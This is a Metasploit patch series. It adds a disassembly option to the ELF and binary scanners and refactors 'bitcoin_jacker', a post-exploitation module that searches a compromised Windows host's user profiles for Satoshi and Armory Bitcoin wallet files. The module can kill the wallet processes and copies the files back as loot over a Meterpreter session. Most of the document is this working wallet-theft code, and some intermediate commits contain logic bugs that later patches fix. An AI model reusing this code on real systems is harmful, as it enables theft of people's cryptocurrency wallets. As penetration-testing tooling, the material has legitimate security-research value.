From c1f377fda6c5b37ea48cc954f52b96d3f6f7238e Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Thu, 26 Dec 2013 16:26:45 -0200 Subject: [PATCH 1/8] Add disasm option to msfelfscan --- lib/rex/elfscan/scanner.rb | 22 +++++++++++++++++++++- msfelfscan | 4 ++++ 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/lib/rex/elfscan/scanner.rb b/lib/rex/elfscan/scanner.rb index 6bba493bb8..1bd5427bff 100644 --- a/lib/rex/elfscan/scanner.rb +++ b/lib/rex/elfscan/scanner.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'metasm' module Rex module ElfScan @@ -27,6 +28,26 @@ class Generic rva = hit[0] message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] $stdout.puts elf.ptr_s(rva) + " " + message + if(param['disasm']) + message.gsub!("; ", "\n") + if message.include?("retn") + message.gsub!("retn", "ret") + end + + begin + d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble + rescue Metasm::ParseError + d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*')) + end + + addr = 0 + while ((di = d2.disassemble_instruction(addr))) + disasm = "0x%08x\t" % (rva + addr) + disasm << di.instruction.to_s + $stdout.puts disasm + addr = di.next_addr + end + end end end @@ -203,4 +224,3 @@ end end end end - diff --git a/msfelfscan b/msfelfscan index fcbe9eeb35..4651b2b6ae 100755 --- a/msfelfscan +++ b/msfelfscan @@ -82,6 +82,10 @@ opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') param['before'] = opt2i(t) end +opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t| + param['disasm'] = true +end + opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| param['imagebase'] = opt2i(t) end From ef73ca537f567e9985a501285c3c0c701803c00c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sat, 28 Dec 2013 18:57:04 -0600 Subject: [PATCH 2/8] First, clean up the original a little --- modules/post/windows/gather/bitcoin_jacker.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 790cf03ec6..ed0df14f31 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post def run print_status("Checking All Users For Bitcoin Wallet...") grab_user_profiles().each do |user| - next if user['AppData'] == nil + next unless user['AppData'] tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat" jack_wallet(tmpath) end @@ -37,10 +37,10 @@ class Metasploit3 < Msf::Post def jack_wallet(filename) data = "" - return if not file?(filename) + return unless file?(filename) print_status("Wallet Found At #{filename}") - print_status(" Jackin their wallet...") + print_status("Jackin their wallet...") kill_bitcoin @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post end if data.empty? - print_error(" No data found") + print_error("No data found") else p = store_loot( "bitcoin.wallet", @@ -62,15 +62,15 @@ class Metasploit3 < Msf::Post filename, "Bitcoin Wallet" ) - print_status(" Wallet Jacked: #{p.to_s}") + print_status("Wallet Jacked: #{p.to_s}") end end def kill_bitcoin - client.sys.process.get_processes().each do |x| - if x['name'].downcase == "bitcoin.exe" - print_status(" #{x['name']} Process Found...") - print_status(" Killing Process ID #{x['pid']}...") + client.sys.process.get_processes().each do |process| + if process['name'].downcase == "bitcoin.exe" + print_status("#{process['name']} Process Found...") + print_status("Killing Process ID #{process['pid']}...") session.sys.process.kill(x['pid']) rescue nil end end From 6fcd12e36caaa31519588876d27eb87961caef60 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sun, 29 Dec 2013 10:15:48 -0600 Subject: [PATCH 3/8] Refactor for clearer syntax and variables This was done on a barely configured Windows machine, so mind the tabs. --- modules/post/windows/gather/bitcoin_jacker.rb | 37 ++++++++++--------- 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index ed0df14f31..66f95505af 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -15,9 +15,10 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Bitcoin wallet.dat', + 'Name' => 'Windows Gather Bitcoin Wallet', 'Description' => %q{ - This module downloads any Bitcoin wallet.dat files from the target system + This module downloads any Bitcoin Wallet files from the target + system. }, 'License' => MSF_LICENSE, 'Author' => [ 'illwill '], @@ -27,48 +28,48 @@ class Metasploit3 < Msf::Post end def run - print_status("Checking All Users For Bitcoin Wallet...") + print_status("Checking All Users For Bitcoin Wallets...") grab_user_profiles().each do |user| next unless user['AppData'] - tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat" - jack_wallet(tmpath) + bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat" + next unless file?(bitcoin_wallet_path) + jack_bitcoin_wallet(bitcoin_wallet_path) end end - def jack_wallet(filename) - data = "" - return unless file?(filename) + def jack_bitcoin_wallet(wallet_path) + data = "" + print_status("Wallet found at #{wallet_path}") + print_status("Jackin' their wallet...") - print_status("Wallet Found At #{filename}") - print_status("Jackin their wallet...") - - kill_bitcoin + kill_bitcoin # TODO: A little heavy-handed, determine when this should happen begin - data = read_file(filename) || '' + data = read_file(wallet_path) || '' rescue ::Exception => e - print_error("Failed to download #{filename}: #{e.class} #{e}") + print_error("Failed to download #{wallet_path}: #{e.class} #{e}") return end if data.empty? print_error("No data found") else - p = store_loot( + loot_result = store_loot( "bitcoin.wallet", "application/octet-stream", session, data, - filename, + wallet_path, "Bitcoin Wallet" ) - print_status("Wallet Jacked: #{p.to_s}") + print_status("Wallet jacked: #{loot_result}") end end def kill_bitcoin client.sys.process.get_processes().each do |process| - if process['name'].downcase == "bitcoin.exe" + pname = process['name'].downcase + if pname == "bitcoin.exe" || "bitcoind.exe" print_status("#{process['name']} Process Found...") print_status("Killing Process ID #{process['pid']}...") session.sys.process.kill(x['pid']) rescue nil From 9384a466c18e37a9e4c0e928c885d2bd5679f0ad Mon Sep 17 00:00:00 2001 From: TabAssassin Date: Sun, 29 Dec 2013 10:59:15 -0600 Subject: [PATCH 4/8] Retab bitcoin_jacker.rb --- modules/post/windows/gather/bitcoin_jacker.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 66f95505af..0680528ea1 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Bitcoin Wallet', 'Description' => %q{ This module downloads any Bitcoin Wallet files from the target - system. + system. }, 'License' => MSF_LICENSE, 'Author' => [ 'illwill '], @@ -32,13 +32,13 @@ class Metasploit3 < Msf::Post grab_user_profiles().each do |user| next unless user['AppData'] bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat" - next unless file?(bitcoin_wallet_path) - jack_bitcoin_wallet(bitcoin_wallet_path) + next unless file?(bitcoin_wallet_path) + jack_bitcoin_wallet(bitcoin_wallet_path) end end def jack_bitcoin_wallet(wallet_path) - data = "" + data = "" print_status("Wallet found at #{wallet_path}") print_status("Jackin' their wallet...") @@ -68,8 +68,8 @@ class Metasploit3 < Msf::Post def kill_bitcoin client.sys.process.get_processes().each do |process| - pname = process['name'].downcase - if pname == "bitcoin.exe" || "bitcoind.exe" + pname = process['name'].downcase + if pname == "bitcoin.exe" || "bitcoind.exe" print_status("#{process['name']} Process Found...") print_status("Killing Process ID #{process['pid']}...") session.sys.process.kill(x['pid']) rescue nil From 5e0c7e4741429a2518522e4040bf1d964202e289 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sun, 29 Dec 2013 13:07:43 -0600 Subject: [PATCH 5/8] DRY up bitcoin_jacker.rb, support Armory Also, make the process killing optional. --- modules/post/windows/gather/bitcoin_jacker.rb | 67 ++++++++++++++----- 1 file changed, 51 insertions(+), 16 deletions(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 0680528ea1..79ec7e617e 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -17,32 +17,67 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Windows Gather Bitcoin Wallet', 'Description' => %q{ - This module downloads any Bitcoin Wallet files from the target - system. + This module downloads any Bitcoin wallet files from the target + system. It currently supports both the classic Satoshi wallet and the + more recent Armory wallets. Note that Satoshi wallets tend to be + unencrypted by default, while Armory wallets tend to be encrypted by default. }, 'License' => MSF_LICENSE, - 'Author' => [ 'illwill '], - 'Platform' => [ 'win' ], + 'Author' => [ + 'illwill ', # Original implementation + 'todb', # Added Armory support + ], + 'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets... 'SessionTypes' => [ 'meterpreter' ] )) + + register_options([ + OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', true]), + ], self.class) end def run - print_status("Checking All Users For Bitcoin Wallets...") + print_status("Checking all user profiles for Bitcoin wallets...") + found_wallets = false grab_user_profiles().each do |user| next unless user['AppData'] bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat" next unless file?(bitcoin_wallet_path) - jack_bitcoin_wallet(bitcoin_wallet_path) + found_wallets = true + jack_wallet(bitcoin_wallet_path) + armory_wallet_path = user['AppData'] + "\\Armory" + session.fs.dir.foreach(armory_wallet_path) do |fname| + next unless fname =~ /\.wallet/ + found_wallets = true + armory_wallet_fullpath = armory_wallet_path + "\\#{fname}" + jack_wallet(armory_wallet_fullpath) + end + end + unless found_wallets + print_warning "No wallets found, nothing to do." end end - def jack_bitcoin_wallet(wallet_path) + def jack_wallet(wallet_path) data = "" - print_status("Wallet found at #{wallet_path}") - print_status("Jackin' their wallet...") + wallet_type = case wallet_path + when /\.wallet$/ + :armory + when /wallet\.dat$/ + :satoshi + else + :unknown + end - kill_bitcoin # TODO: A little heavy-handed, determine when this should happen + if wallet_type == :unknown + print_error "Unknown wallet type: #{wallet_path}, nothing to do." + return + end + + print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}") + print_status("Jackin' wallet...") + + kill_bitcoin_processes if datastore['KILL_PROCESSES'] begin data = read_file(wallet_path) || '' @@ -52,27 +87,27 @@ class Metasploit3 < Msf::Post end if data.empty? - print_error("No data found") + print_error("No data found, nothing to save.") else loot_result = store_loot( - "bitcoin.wallet", + "bitcoin.wallet.#{wallet_type}", "application/octet-stream", session, data, wallet_path, - "Bitcoin Wallet" + "Bitcoin Wallet (#{wallet_type.to_s.capitalize})" ) print_status("Wallet jacked: #{loot_result}") end end - def kill_bitcoin + def kill_bitcoin_processes client.sys.process.get_processes().each do |process| pname = process['name'].downcase - if pname == "bitcoin.exe" || "bitcoind.exe" + if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe" print_status("#{process['name']} Process Found...") print_status("Killing Process ID #{process['pid']}...") - session.sys.process.kill(x['pid']) rescue nil + session.sys.process.kill(process['pid']) end end end From 88cf1e4843bf467dccfab95f9007d843cd8ba030 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sun, 29 Dec 2013 14:12:00 -0600 Subject: [PATCH 6/8] Default false KILL_PROCESSES for bitcoin_jacker I seem to able to read associated wallet files while these processes are running with the greatest of ease. Maybe there was a file locking concern, but I haven't run into it. Feel free to avoid landing this particular commit if you disagree. --- modules/post/windows/gather/bitcoin_jacker.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 79ec7e617e..30d081a74f 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post )) register_options([ - OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', true]), + OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]), ], self.class) end From 4366d4da20b1e65f948f253bfd599757f4d98e27 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 30 Dec 2013 11:45:52 -0600 Subject: [PATCH 7/8] Delete comma --- modules/post/windows/gather/bitcoin_jacker.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 30d081a74f..a740c6c0da 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'illwill ', # Original implementation - 'todb', # Added Armory support + 'todb' # Added Armory support ], 'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets... 'SessionTypes' => [ 'meterpreter' ] From 598ed7925c5687f81301a6eee29aea29df91894c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 30 Dec 2013 12:23:47 -0600 Subject: [PATCH 8/8] Modify msfbinscan help --- msfbinscan | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfbinscan b/msfbinscan index e9fe1dff76..72d403ad77 100755 --- a/msfbinscan +++ b/msfbinscan @@ -112,7 +112,7 @@ opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase param['imagebase'] = opt2i(t) end -opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t| +opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE|ELF]') do |t| param['disasm'] = true end